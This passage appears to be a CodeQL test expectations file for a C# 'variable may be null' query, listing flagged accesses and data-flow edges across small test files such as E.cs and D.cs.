E.cs:159:13:159:16 | access to local variable obj2 | E.cs:152:16:152:26 | SSA def(obj2) | E.cs:159:13:159:16 | access to local variable obj2 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:152:16:152:19 | obj2 | obj2 | E.cs:153:13:153:24 | ... != ... | this | +| E.cs:167:21:167:21 | access to parameter a | E.cs:162:28:162:28 | SSA param(a) | E.cs:167:21:167:21 | access to parameter a | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:162:28:162:28 | a | a | E.cs:164:17:164:25 | ... == ... | this | +| E.cs:178:13:178:15 | access to parameter obj | E.cs:173:29:173:31 | SSA param(obj) | E.cs:178:13:178:15 | access to parameter obj | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:173:29:173:31 | obj | obj | E.cs:175:19:175:29 | ... == ... | this | +| E.cs:178:13:178:15 | access to parameter obj | E.cs:173:29:173:31 | SSA param(obj) | E.cs:178:13:178:15 | access to parameter obj | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:173:29:173:31 | obj | obj | E.cs:180:13:180:23 | ... == ... | this | +| E.cs:186:13:186:15 | access to parameter obj | E.cs:173:29:173:31 | SSA param(obj) | E.cs:186:13:186:15 | access to parameter obj | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:173:29:173:31 | obj | obj | E.cs:175:19:175:29 | ... == ... | this | +| E.cs:186:13:186:15 | access to parameter obj | E.cs:173:29:173:31 | SSA param(obj) | E.cs:186:13:186:15 | access to parameter obj | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:173:29:173:31 | obj | obj | E.cs:180:13:180:23 | ... == ... | this | +| E.cs:192:17:192:17 | access to parameter o | E.cs:190:29:190:29 | SSA param(o) | E.cs:192:17:192:17 | access to parameter o | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:190:29:190:29 | o | o | E.cs:193:17:193:17 | access to parameter o | this | +| E.cs:201:13:201:13 | access to local variable o | E.cs:198:13:198:29 | [b (line 196): true] SSA def(o) | E.cs:201:13:201:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | E.cs:198:13:198:13 | o | o | E.cs:198:13:198:29 | String o = ... | this | +| E.cs:203:13:203:13 | access to local variable o | E.cs:198:13:198:29 | [b (line 196): false] SSA def(o) | E.cs:203:13:203:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | E.cs:198:13:198:13 | o | o | E.cs:198:13:198:29 | String o = ... | this | +| E.cs:218:9:218:9 | access to local variable x | E.cs:217:13:217:20 | [b (line 213): true] SSA def(x) | E.cs:218:9:218:9 | access to local variable x | Variable $@ may be null at this access because of $@ assignment. | E.cs:215:13:215:13 | x | x | E.cs:217:13:217:20 | ... = ... | this | +| E.cs:230:9:230:9 | access to local variable x | E.cs:227:13:227:20 | [b (line 223): true] SSA def(x) | E.cs:230:9:230:9 | access to local variable x | Variable $@ may be null at this access because of $@ assignment. | E.cs:225:13:225:13 | x | x | E.cs:227:13:227:20 | ... = ... | this | +| E.cs:235:16:235:16 | access to parameter i | E.cs:233:26:233:26 | SSA param(i) | E.cs:235:16:235:16 | access to parameter i | Variable $@ may be null at this access because it has a nullable type. | E.cs:233:26:233:26 | i | i | E.cs:233:26:233:26 | i | this | +| E.cs:240:21:240:21 | access to parameter i | E.cs:238:26:238:26 | SSA param(i) | E.cs:240:21:240:21 | access to parameter i | Variable $@ may be null at this access because it has a nullable type. | E.cs:238:26:238:26 | i | i | E.cs:238:26:238:26 | i | this | +| E.cs:285:9:285:9 | access to local variable o | E.cs:283:13:283:22 | [b (line 279): false] SSA def(o) | E.cs:285:9:285:9 | access to local variable o | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:283:13:283:13 | o | o | E.cs:284:9:284:9 | access to local variable o | this | +| E.cs:285:9:285:9 | access to local variable o | E.cs:283:13:283:22 | [b (line 279): true] SSA def(o) | E.cs:285:9:285:9 | access to local variable o | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:283:13:283:13 | o | o | E.cs:284:9:284:9 | access to local variable o | this | +| E.cs:302:9:302:9 | access to local variable s | E.cs:301:13:301:27 | SSA def(s) | E.cs:302:9:302:9 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | E.cs:301:13:301:13 | s | s | E.cs:301:13:301:27 | String s = ... | this | +| E.cs:343:9:343:9 | access to local variable x | E.cs:342:13:342:32 | SSA def(x) | E.cs:343:9:343:9 | access to local variable x | Variable $@ may be null at this access because of $@ assignment. | E.cs:342:13:342:13 | x | x | E.cs:342:13:342:32 | String x = ... | this | +| E.cs:349:9:349:9 | access to local variable x | E.cs:348:17:348:36 | SSA def(x) | E.cs:349:9:349:9 | access to local variable x | Variable $@ may be null at this access because of $@ assignment. | E.cs:348:17:348:17 | x | x | E.cs:348:17:348:36 | dynamic x = ... | this | +| E.cs:366:41:366:41 | access to parameter s | E.cs:366:28:366:28 | SSA param(s) | E.cs:366:41:366:41 | access to parameter s | Variable $@ may be null at this access because the parameter has a null default value. | E.cs:366:28:366:28 | s | s | E.cs:366:32:366:35 | null | this | +| E.cs:375:20:375:20 | access to local variable s | E.cs:374:17:374:31 | SSA def(s) | E.cs:375:20:375:20 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | E.cs:374:17:374:17 | s | s | E.cs:374:17:374:31 | String s = ... | this | +| E.cs:386:16:386:17 | access to parameter e1 | E.cs:380:24:380:25 | SSA param(e1) | E.cs:386:16:386:17 | access to parameter e1 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:380:24:380:25 | e1 | e1 | E.cs:382:14:382:23 | ... == ... | this | +| E.cs:386:16:386:17 | access to parameter e1 | E.cs:380:24:380:25 | SSA param(e1) | E.cs:386:16:386:17 | access to parameter e1 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:380:24:380:25 | e1 | e1 | E.cs:382:44:382:53 | ... != ... | this | +| E.cs:386:16:386:17 | access to parameter e1 | E.cs:380:24:380:25 | SSA param(e1) | E.cs:386:16:386:17 | access to parameter e1 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:380:24:380:25 | e1 | e1 | E.cs:384:13:384:22 | ... == ... | this | +| E.cs:386:27:386:28 | access to parameter e2 | E.cs:380:30:380:31 | SSA param(e2) | E.cs:386:27:386:28 | access to parameter e2 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:380:30:380:31 | e2 | e2 | E.cs:382:28:382:37 | ... != ... | this | +| E.cs:386:27:386:28 | access to parameter e2 | E.cs:380:30:380:31 | SSA param(e2) | E.cs:386:27:386:28 | access to parameter e2 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:380:30:380:31 | e2 | e2 | E.cs:382:58:382:67 | ... == ... | this | +| E.cs:386:27:386:28 | access to parameter e2 | E.cs:380:30:380:31 | SSA param(e2) | E.cs:386:27:386:28 | access to parameter e2 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:380:30:380:31 | e2 | e2 | E.cs:384:27:384:36 | ... == ... | this | +| E.cs:417:34:417:34 | access to parameter i | E.cs:417:24:417:40 | SSA capture def(i) | E.cs:417:34:417:34 | access to parameter i | Variable $@ may be null at this access because it has a nullable type. | E.cs:415:27:415:27 | i | i | E.cs:415:27:415:27 | i | this | +| E.cs:423:38:423:38 | access to parameter i | E.cs:423:28:423:44 | SSA capture def(i) | E.cs:423:38:423:38 | access to parameter i | Variable $@ may be null at this access because it has a nullable type. | E.cs:420:27:420:27 | i | i | E.cs:420:27:420:27 | i | this | +| E.cs:430:39:430:39 | access to parameter i | E.cs:430:29:430:45 | SSA capture def(i) | E.cs:430:39:430:39 | access to parameter i | Variable $@ may be null at this access because it has a nullable type. | E.cs:427:27:427:27 | i | i | E.cs:427:27:427:27 | i | this | +| GuardedString.cs:35:31:35:31 | access to local variable s | GuardedString.cs:7:16:7:32 | SSA def(s) | GuardedString.cs:35:31:35:31 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | GuardedString.cs:7:16:7:16 | s | s | GuardedString.cs:7:16:7:32 | String s = ... | this | +| NullMaybeBad.cs:7:27:7:27 | access to parameter o | NullMaybeBad.cs:13:17:13:20 | null | NullMaybeBad.cs:7:27:7:27 | access to parameter o | Variable $@ may be null at this access because of $@ null argument. | NullMaybeBad.cs:5:25:5:25 | o | o | NullMaybeBad.cs:13:17:13:20 | null | this | +| Params.cs:14:17:14:20 | access to parameter args | Params.cs:20:12:20:15 | null | Params.cs:14:17:14:20 | access to parameter args | Variable $@ may be null at this access because of $@ null argument. | Params.cs:12:36:12:39 | args | args | Params.cs:20:12:20:15 | null | this | +| StringConcatenation.cs:16:17:16:17 | access to local variable s | StringConcatenation.cs:14:16:14:23 | SSA def(s) | StringConcatenation.cs:16:17:16:17 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | StringConcatenation.cs:14:16:14:16 | s | s | StringConcatenation.cs:14:16:14:23 | String s = ... | this | +edges +| A.cs:7:16:7:40 | SSA def(synchronizedAlways) | A.cs:8:15:8:32 | access to local variable synchronizedAlways | +| A.cs:7:16:7:40 | SSA def(synchronizedAlways) | A.cs:10:13:10:30 | access to local variable synchronizedAlways | +| A.cs:16:15:16:30 | SSA def(arrayNull) | A.cs:17:9:17:17 | access to local variable arrayNull | +| A.cs:26:15:26:32 | SSA def(arrayAccess) | A.cs:31:27:31:37 | access to local variable arrayAccess | +| A.cs:26:15:26:32 | SSA def(arrayAccess) | A.cs:36:27:36:37 | access to local variable arrayAccess | +| A.cs:27:18:27:35 | SSA def(fieldAccess) | A.cs:32:27:32:37 | access to local variable fieldAccess | +| A.cs:27:18:27:35 | SSA def(fieldAccess) | A.cs:37:27:37:37 | access to local variable fieldAccess | +| A.cs:28:16:28:34 | SSA def(methodAccess) | A.cs:33:28:33:39 | access to local variable methodAccess | +| A.cs:28:16:28:34 | SSA def(methodAccess) | A.cs:38:15:38:26 | access to local variable methodAccess | +| A.cs:29:16:29:32 | SSA def(methodCall) | A.cs:34:27:34:36 | access to local variable methodCall | +| A.cs:29:16:29:32 | SSA def(methodCall) | A.cs:39:27:39:36 | access to local variable methodCall | +| A.cs:48:16:48:28 | SSA def(varRef) | A.cs:50:9:50:14 | access to local variable varRef | +| Assert.cs:13:9:13:25 | [b (line 7): false] SSA def(s) | Assert.cs:15:27:15:27 | access to local variable s | +| Assert.cs:13:9:13:25 | [b (line 7): true] SSA def(s) | Assert.cs:15:27:15:27 | access to local variable s | +| Assert.cs:21:9:21:25 | [b (line 7): false] SSA def(s) | Assert.cs:23:27:23:27 | access to local variable s | +| Assert.cs:21:9:21:25 | [b (line 7): true] SSA def(s) | Assert.cs:23:27:23:27 | access to local variable s | +| Assert.cs:29:9:29:25 | [b (line 7): false] SSA def(s) | Assert.cs:31:27:31:27 | access to local variable s | +| Assert.cs:29:9:29:25 | [b (line 7): true] SSA def(s) | Assert.cs:31:27:31:27 | access to local variable s | +| Assert.cs:45:9:45:25 | [b (line 7): true] SSA def(s) | Assert.cs:46:36:46:36 | [b (line 7): true] access to parameter b | +| Assert.cs:46:23:46:36 | [true, b (line 7): true] ... && ... | Assert.cs:47:27:47:27 | access to local variable s | +| Assert.cs:46:36:46:36 | [b (line 7): true] access to parameter b | Assert.cs:46:23:46:36 | [true, b (line 7): true] ... && ... | +| Assert.cs:49:9:49:25 | [b (line 7): true] SSA def(s) | Assert.cs:50:38:50:38 | [b (line 7): true] access to parameter b | +| Assert.cs:50:24:50:38 | [false] ... \|\| ... | Assert.cs:51:27:51:27 | access to local variable s | +| Assert.cs:50:37:50:38 | [false] !... | Assert.cs:50:24:50:38 | [false] ... \|\| ... | +| Assert.cs:50:38:50:38 | [b (line 7): true] access to parameter b | Assert.cs:50:37:50:38 | [false] !... | +| B.cs:7:11:7:29 | SSA def(eqCallAlways) | B.cs:13:13:13:24 | access to local variable eqCallAlways | +| B.cs:10:11:10:30 | SSA def(neqCallAlways) | B.cs:13:13:13:36 | ...; | +| B.cs:10:11:10:30 | SSA def(neqCallAlways) | B.cs:15:9:16:26 | if (...) ... | +| B.cs:13:13:13:36 | ...; | B.cs:15:9:16:26 | if (...) ... | +| B.cs:15:9:16:26 | if (...) ... | B.cs:16:13:16:26 | ...; | +| B.cs:15:9:16:26 | if (...) ... | B.cs:18:9:20:26 | if (...) ... | +| B.cs:16:13:16:26 | ...; | B.cs:18:9:20:26 | if (...) ... | +| B.cs:18:9:20:26 | if (...) ... | B.cs:18:25:18:27 | {...} | +| B.cs:18:9:20:26 | if (...) ... | B.cs:20:13:20:26 | ...; | +| B.cs:18:25:18:27 | {...} | B.cs:22:9:24:37 | if (...) ... | +| B.cs:20:13:20:26 | ...; | B.cs:22:9:24:37 | if (...) ... | +| B.cs:22:9:24:37 | if (...) ... | B.cs:24:13:24:25 | access to local variable neqCallAlways | +| C.cs:10:16:10:23 | SSA def(o) | C.cs:11:17:11:28 | [false] !... | +| C.cs:11:13:11:30 | [false] !... | C.cs:16:9:19:9 | if (...) ... | +| C.cs:11:15:11:29 | [true] !... | C.cs:11:13:11:30 | [false] !... | +| C.cs:11:17:11:28 | [false] !... | C.cs:11:15:11:29 | [true] !... | +| C.cs:16:9:19:9 | if (...) ... | C.cs:16:13:16:24 | [true] !... | +| C.cs:16:13:16:24 | [true] !... | C.cs:18:13:18:13 | access to local variable o | +| C.cs:40:13:40:35 | SSA def(s) | C.cs:42:9:42:9 | access to local variable s | +| C.cs:55:13:55:36 | SSA def(o2) | C.cs:57:9:57:10 | access to local variable o2 | +| C.cs:62:13:62:46 | SSA def(o1) | C.cs:64:9:64:10 | access to local variable o1 | +| C.cs:66:13:66:46 | SSA def(o2) | C.cs:68:9:68:10 | access to local variable o2 | +| C.cs:94:13:94:45 | SSA def(o) | C.cs:95:15:95:15 | access to local variable o | +| C.cs:94:13:94:45 | SSA def(o) | C.cs:96:13:96:13 | access to local variable o | +| C.cs:102:13:102:23 | SSA def(list) | C.cs:103:27:103:30 | access to parameter list | +| C.cs:102:13:102:23 | SSA def(list) | C.cs:103:27:103:30 | access to parameter list | +| C.cs:103:9:107:9 | foreach (... ... in ...) ... | C.cs:103:22:103:22 | Int32 x | +| C.cs:103:9:107:9 | foreach (... ... in ...) ... | C.cs:106:13:106:16 | access to parameter list | +| C.cs:103:22:103:22 | Int32 x | C.cs:103:9:107:9 | foreach (... ... in ...) ... | +| C.cs:103:27:103:30 | access to parameter list | C.cs:103:9:107:9 | foreach (... ... in ...) ... | +| C.cs:159:9:159:16 | SSA def(s) | C.cs:162:13:162:13 | access to local variable s | +| C.cs:167:9:167:16 | SSA def(s) | C.cs:170:13:170:13 | access to local variable s | +| C.cs:178:13:178:20 | SSA def(s) | C.cs:177:13:177:13 | access to local variable s | +| C.cs:193:9:193:16 | SSA def(s) | C.cs:196:13:196:13 | access to local variable s | +| C.cs:197:13:197:20 | [b (line 192): true] SSA def(s) | C.cs:196:13:196:13 | access to local variable s | +| C.cs:201:16:201:19 | true | C.cs:203:13:203:13 | access to local variable s | +| C.cs:204:13:204:20 | SSA def(s) | C.cs:201:16:201:19 | true | +| C.cs:210:13:210:35 | SSA def(s) | C.cs:217:9:218:25 | if (...) ... | +| C.cs:214:13:214:20 | SSA def(s) | C.cs:217:9:218:25 | if (...) ... | +| C.cs:217:9:218:25 | if (...) ... | C.cs:218:13:218:13 | access to local variable s | +| C.cs:222:13:222:20 | SSA def(s) | C.cs:223:9:223:9 | access to local variable s | +| C.cs:229:22:229:22 | access to local variable s | C.cs:233:9:233:9 | access to local variable s | +| C.cs:229:33:229:40 | SSA def(s) | C.cs:229:22:229:22 | access to local variable s | +| C.cs:235:14:235:21 | SSA def(s) | C.cs:235:24:235:24 | access to local variable s | +| C.cs:235:24:235:24 | access to local variable s | C.cs:237:13:237:13 | access to local variable s | +| C.cs:235:35:235:42 | SSA def(s) | C.cs:235:24:235:24 | access to local variable s | +| C.cs:240:24:240:31 | SSA def(s) | C.cs:242:13:242:13 | access to local variable s | +| C.cs:248:15:248:22 | SSA def(a) | C.cs:249:9:249:9 | access to local variable a | +| C.cs:257:15:257:23 | SSA def(ia) | C.cs:260:9:260:10 | access to local variable ia | +| C.cs:257:15:257:23 | SSA def(ia) | C.cs:263:9:263:10 | access to local variable ia | +| C.cs:258:18:258:26 | SSA def(sa) | C.cs:261:20:261:21 | access to local variable sa | +| C.cs:258:18:258:26 | SSA def(sa) | C.cs:264:16:264:17 | access to local variable sa | +| D.cs:17:17:17:20 | null | D.cs:23:9:23:13 | access to parameter param | +| D.cs:26:32:26:36 | SSA param(param) | D.cs:32:9:32:13 | access to parameter param | +| D.cs:58:13:58:41 | SSA def(o5) | D.cs:61:9:62:26 | if (...) ... | +| D.cs:61:9:62:26 | if (...) ... | D.cs:62:13:62:14 | access to local variable o5 | +| D.cs:68:13:68:34 | SSA def(o7) | D.cs:69:18:69:36 | ... && ... | +| D.cs:69:18:69:36 | ... && ... | D.cs:73:13:73:14 | access to local variable o7 | +| D.cs:75:13:75:34 | SSA def(o8) | D.cs:76:34:76:35 | 42 | +| D.cs:76:21:76:43 | ... ? ... : ... | D.cs:79:9:80:26 | if (...) ... | +| D.cs:76:34:76:35 | 42 | D.cs:76:21:76:43 | ... ? ... : ... | +| D.cs:79:9:80:26 | if (...) ... | D.cs:81:9:82:26 | if (...) ... | +| D.cs:81:9:82:26 | if (...) ... | D.cs:82:13:82:14 | access to local variable o8 | +| D.cs:81:9:82:26 | if (...) ... | D.cs:82:13:82:26 | ...; | +| D.cs:81:9:82:26 | if (...) ... | D.cs:83:9:84:26 | if (...) ... | +| D.cs:82:13:82:26 | ...; | D.cs:83:9:84:26 | if (...) ... | +| D.cs:83:9:84:26 | if (...) ... | D.cs:84:13:84:14 | access to local variable o8 | +| D.cs:89:15:89:44 | SSA def(xs) | D.cs:91:13:91:14 | access to local variable xs | +| D.cs:89:15:89:44 | SSA def(xs) | D.cs:91:13:91:22 | ...; | +| D.cs:89:15:89:44 | SSA def(xs) | D.cs:93:9:94:30 | if (...) ... | +| D.cs:91:13:91:22 | ...; | D.cs:93:9:94:30 | if (...) ... | +| D.cs:93:9:94:30 | if (...) ... | D.cs:94:13:94:30 | ...; | +| D.cs:93:9:94:30 | if (...) ... | D.cs:94:21:94:22 | access to local variable xs | +| D.cs:93:9:94:30 | if (...) ... | D.cs:96:9:99:9 | if (...) ... | +| D.cs:94:13:94:30 | ...; | D.cs:96:9:99:9 | if (...) ... | +| D.cs:96:9:99:9 | if (...) ... | D.cs:97:9:99:9 | {...} | +| D.cs:96:9:99:9 | if (...) ... | D.cs:98:21:98:22 | access to local variable xs | +| D.cs:96:9:99:9 | if (...) ... | D.cs:101:9:102:35 | if (...) ... | +| D.cs:97:9:99:9 | {...} | D.cs:101:9:102:35 | if (...) ... | +| D.cs:101:9:102:35 | if (...) ... | D.cs:102:31:102:32 | access to local variable xs | +| D.cs:101:9:102:35 | if (...) ... | D.cs:102:31:102:32 | access to local variable xs | +| D.cs:101:9:102:35 | if (...) ... | D.cs:104:9:106:30 | if (...) ... | +| D.cs:102:13:102:35 | foreach (... ... in ...) ... | D.cs:102:26:102:26 | Int32 _ | +| D.cs:102:13:102:35 | foreach (... ... in ...) ... | D.cs:104:9:106:30 | if (...) ... | +| D.cs:102:26:102:26 | Int32 _ | D.cs:102:13:102:35 | foreach (... ... in ...) ... | +| D.cs:102:31:102:32 | access to local variable xs | D.cs:102:13:102:35 | foreach (... ... in ...) ... | +| D.cs:104:9:106:30 | if (...) ... | D.cs:105:19:105:20 | access to local variable xs | +| D.cs:104:9:106:30 | if (...) ... | D.cs:106:17:106:18 | access to local variable xs | +| D.cs:118:9:118:30 | SSA def(x) | D.cs:120:13:120:13 | access to local variable x | +| D.cs:125:35:125:35 | SSA param(a) | D.cs:127:32:127:32 | 0 | +| D.cs:125:35:125:35 | SSA param(a) | D.cs:127:32:127:32 | 0 | +| D.cs:125:44:125:44 | SSA param(b) | D.cs:127:32:127:32 | 0 | +| D.cs:125:44:125:44 | SSA param(b) | D.cs:127:36:127:36 | access to parameter a | +| D.cs:127:20:127:43 | ... ? ... : ... | D.cs:128:32:128:32 | 0 | +| D.cs:127:20:127:43 | ... ? ... : ... | D.cs:128:32:128:32 | 0 | +| D.cs:127:20:127:43 | ... ? ... : ... | D.cs:128:36:128:36 | access to parameter b | +| D.cs:127:32:127:32 | 0 | D.cs:127:20:127:43 | ... ? ... : ... | +| D.cs:127:32:127:32 | 0 | D.cs:127:20:127:43 | ... ? ... : ... | +| D.cs:127:36:127:36 | access to parameter a | D.cs:127:20:127:43 | ... ? ... : ... | +| D.cs:128:20:128:43 | ... ? ... : ... | D.cs:131:9:137:9 | {...} | +| D.cs:128:20:128:43 | ... ? ... : ... | D.cs:131:9:137:9 | {...} | +| D.cs:128:20:128:43 | ... ? ... : ... | D.cs:138:9:138:18 | ... ...; | +| D.cs:128:32:128:32 | 0 | D.cs:128:20:128:43 | ... ? ... : ... | +| D.cs:128:32:128:32 | 0 | D.cs:128:20:128:43 | ... ? ... : ... | +| D.cs:128:36:128:36 | access to parameter b | D.cs:128:20:128:43 | ... ? ... : ... | +| D.cs:131:9:137:9 | {...} | D.cs:132:29:132:29 | access to local variable i | +| D.cs:131:9:137:9 | {...} | D.cs:132:29:132:29 | access to local variable i | +| D.cs:132:29:132:29 | access to local variable i | D.cs:133:13:136:13 | {...} | +| D.cs:132:29:132:29 | access to local variable i | D.cs:133:13:136:13 | {...} | +| D.cs:132:29:132:29 | access to local variable i | D.cs:134:24:134:24 | access to parameter a | +| D.cs:132:29:132:29 | access to local variable i | D.cs:135:24:135:24 | access to parameter b | +| D.cs:132:29:132:29 | access to local variable i | D.cs:138:9:138:18 | ... ...; | +| D.cs:133:13:136:13 | {...} | D.cs:132:29:132:29 | access to local variable i | +| D.cs:133:13:136:13 | {...} | D.cs:132:29:132:29 | access to local variable i | +| D.cs:138:9:138:18 | ... ...; | D.cs:142:13:142:22 | ...; | +| D.cs:142:13:142:22 | ...; | D.cs:143:9:146:9 | for (...;...;...) ... | +| D.cs:143:9:146:9 | for (...;...;...) ... | D.cs:143:25:143:25 | access to local variable i | +| D.cs:143:25:143:25 | access to local variable i | D.cs:144:9:146:9 | {...} | +| D.cs:143:25:143:25 | access to local variable i | D.cs:145:20:145:20 | access to parameter a | +| D.cs:144:9:146:9 | {...} | D.cs:143:25:143:25 | access to local variable i | +| D.cs:149:36:149:38 | SSA param(obj) | D.cs:151:9:151:11 | access to parameter obj | +| D.cs:163:16:163:25 | SSA def(obj) | D.cs:168:9:170:9 | [exception: Exception] catch (...) {...} | +| D.cs:168:9:170:9 | [exception: Exception] catch (...) {...} | D.cs:168:26:168:26 | [exception: Exception] Exception e | +| D.cs:168:26:168:26 | [exception: Exception] Exception e | D.cs:171:9:171:11 | access to local variable obj | +| D.cs:240:9:240:16 | SSA def(o) | D.cs:241:29:241:32 | null | +| D.cs:240:9:240:16 | SSA def(o) | D.cs:241:36:241:37 | "" | +| D.cs:241:21:241:37 | ... ? ... : ... | D.cs:244:9:247:25 | if (...) ... | +| D.cs:241:29:241:32 | null | D.cs:241:21:241:37 | ... ? ... : ... | +| D.cs:241:36:241:37 | "" | D.cs:241:21:241:37 | ... ? ... : ... | +| D.cs:244:9:247:25 | if (...) ... | D.cs:245:13:245:13 | access to local variable o | +| D.cs:244:9:247:25 | if (...) ... | D.cs:247:13:247:13 | access to local variable o | +| D.cs:249:13:249:38 | SSA def(o2) | D.cs:253:13:253:14 | access to local variable o2 | +| D.cs:258:16:258:23 | SSA def(o) | D.cs:266:9:267:25 | if (...) ... | +| D.cs:266:9:267:25 | if (...) ... | D.cs:266:13:266:27 | [true] ... is ... | +| D.cs:266:13:266:27 | [true] ... is ... | D.cs:267:13:267:13 | access to local variable o | +| D.cs:269:9:269:16 | SSA def(o) | D.cs:272:25:272:25 | access to local variable i | +| D.cs:272:25:272:25 | access to local variable i | D.cs:273:9:288:9 | {...} | +| D.cs:272:25:272:25 | access to local variable i | D.cs:290:9:291:25 | if (...) ... | +| D.cs:272:39:272:39 | access to local variable i | D.cs:272:25:272:25 | access to local variable i | +| D.cs:273:9:288:9 | {...} | D.cs:281:13:287:13 | if (...) ... | +| D.cs:281:13:287:13 | if (...) ... | D.cs:272:39:272:39 | access to local variable i | +| D.cs:283:17:283:24 | SSA def(o) | D.cs:285:28:285:30 | {...} | +| D.cs:283:17:283:24 | SSA def(o) | D.cs:286:17:286:30 | ...; | +| D.cs:285:28:285:30 | {...} | D.cs:286:17:286:30 | ...; | +| D.cs:286:17:286:30 | ...; | D.cs:272:39:272:39 | access to local variable i | +| D.cs:290:9:291:25 | if (...) ... | D.cs:291:13:291:13 | access to local variable o | +| D.cs:290:9:291:25 | if (...) ... | D.cs:291:13:291:25 | ...; | +| D.cs:290:9:291:25 | if (...) ... | D.cs:293:9:294:25 | if (...) ... | +| D.cs:291:13:291:25 | ...; | D.cs:293:9:294:25 | if (...) ... | +| D.cs:293:9:294:25 | if (...) ... | D.cs:294:13:294:13 | access to local variable o | +| D.cs:296:16:296:26 | SSA def(prev) | D.cs:297:25:297:25 | access to local variable i | +| D.cs:297:25:297:25 | access to local variable i | D.cs:298:9:302:9 | {...} | +| D.cs:298:9:302:9 | {...} | D.cs:300:17:300:20 | access to local variable prev | +| D.cs:304:16:304:23 | SSA def(s) | D.cs:307:13:311:13 | foreach (... ... in ...) ... | +| D.cs:307:13:311:13 | foreach (... ... in ...) ... | D.cs:312:13:313:29 | if (...) ... | +| D.cs:312:13:313:29 | if (...) ... | D.cs:312:17:312:23 | [true] !... | +| D.cs:312:17:312:23 | [true] !... | D.cs:313:17:313:17 | access to local variable s | +| D.cs:316:16:316:23 | SSA def(r) | D.cs:318:16:318:19 | access to local variable stat | +| D.cs:318:16:318:19 | access to local variable stat | D.cs:318:16:318:62 | [false] ... && ... | +| D.cs:318:16:318:19 | access to local variable stat | D.cs:318:41:318:44 | access to local variable stat | +| D.cs:318:16:318:62 | [false] ... && ... | D.cs:324:9:324:9 | access to local variable r | +| D.cs:318:41:318:44 | access to local variable stat | D.cs:318:16:318:62 | [false] ... && ... | +| D.cs:351:15:351:22 | SSA def(a) | D.cs:355:9:356:21 | for (...;...;...) ... | +| D.cs:355:9:356:21 | for (...;...;...) ... | D.cs:355:25:355:25 | access to local variable i | +| D.cs:355:25:355:25 | access to local variable i | D.cs:356:13:356:13 | access to local variable a | +| D.cs:355:25:355:25 | access to local variable i | D.cs:356:13:356:21 | ...; | +| D.cs:356:13:356:21 | ...; | D.cs:355:25:355:25 | access to local variable i | +| D.cs:360:20:360:30 | SSA def(last) | D.cs:361:29:361:29 | access to local variable i | +| D.cs:361:29:361:29 | access to local variable i | D.cs:363:13:363:16 | access to local variable last | +| D.cs:366:15:366:47 | SSA def(b) | D.cs:367:13:367:56 | [false] ... && ... | +| D.cs:367:13:367:56 | [false] ... && ... | D.cs:370:9:373:9 | for (...;...;...) ... | +| D.cs:370:9:373:9 | for (...;...;...) ... | D.cs:370:25:370:25 | access to local variable i | +| D.cs:370:25:370:25 | access to local variable i | D.cs:371:9:373:9 | {...} | +| D.cs:370:25:370:25 | access to local variable i | D.cs:372:13:372:13 | access to local variable b | +| D.cs:371:9:373:9 | {...} | D.cs:370:25:370:25 | access to local variable i | +| D.cs:378:19:378:28 | SSA def(ioe) | D.cs:382:9:385:27 | if (...) ... | +| D.cs:382:9:385:27 | if (...) ... | D.cs:385:13:385:15 | access to local variable ioe | +| D.cs:388:36:388:36 | SSA param(a) | D.cs:390:32:390:32 | 0 | +| D.cs:388:45:388:45 | SSA param(b) | D.cs:390:32:390:32 | 0 | +| D.cs:388:45:388:45 | SSA param(b) | D.cs:390:36:390:36 | access to parameter a | +| D.cs:390:20:390:43 | ... ? ... : ... | D.cs:393:21:393:21 | access to local variable i | +| D.cs:390:20:390:43 | ... ? ... : ... | D.cs:393:21:393:21 | access to local variable i | +| D.cs:390:32:390:32 | 0 | D.cs:390:20:390:43 | ... ? ... : ... | +| D.cs:390:32:390:32 | 0 | D.cs:390:20:390:43 | ... ? ... : ... | +| D.cs:390:36:390:36 | access to parameter a | D.cs:390:20:390:43 | ... ? ... : ... | +| D.cs:393:21:393:21 | access to local variable i | D.cs:394:9:396:9 | {...} | +| D.cs:393:21:393:21 | access to local variable i | D.cs:394:9:396:9 | {...} | +| D.cs:393:21:393:21 | access to local variable i | D.cs:395:20:395:20 | access to parameter a | +| D.cs:393:21:393:21 | access to local variable i | D.cs:397:9:397:44 | ... ...; | +| D.cs:394:9:396:9 | {...} | D.cs:393:21:393:21 | access to local variable i | +| D.cs:394:9:396:9 | {...} | D.cs:393:21:393:21 | access to local variable i | +| D.cs:397:9:397:44 | ... ...; | D.cs:397:32:397:32 | 0 | +| D.cs:397:20:397:43 | ... ? ... : ... | D.cs:398:21:398:21 | access to local variable i | +| D.cs:397:32:397:32 | 0 | D.cs:397:20:397:43 | ... ? ... : ... | +| D.cs:398:21:398:21 | access to local variable i | D.cs:399:9:401:9 | {...} | +| D.cs:398:21:398:21 | access to local variable i | D.cs:400:20:400:20 | access to parameter b | +| D.cs:399:9:401:9 | {...} | D.cs:398:21:398:21 | access to local variable i | +| D.cs:405:35:405:35 | SSA param(x) | D.cs:407:14:407:35 | [false] ... && ... | +| D.cs:405:35:405:35 | SSA param(x) | D.cs:407:14:407:35 | [false] ... && ... | +| D.cs:405:35:405:35 | SSA param(x) | D.cs:407:14:407:35 | [false] ... && ... | +| D.cs:405:45:405:45 | SSA param(y) | D.cs:407:14:407:35 | [false] ... && ... | +| D.cs:405:45:405:45 | SSA param(y) | D.cs:407:14:407:35 | [false] ... && ... | +| D.cs:405:45:405:45 | SSA param(y) | D.cs:407:14:407:35 | [false] ... && ... | +| D.cs:407:13:407:64 | [false] ... \|\| ... | D.cs:409:9:410:25 | if (...) ... | +| 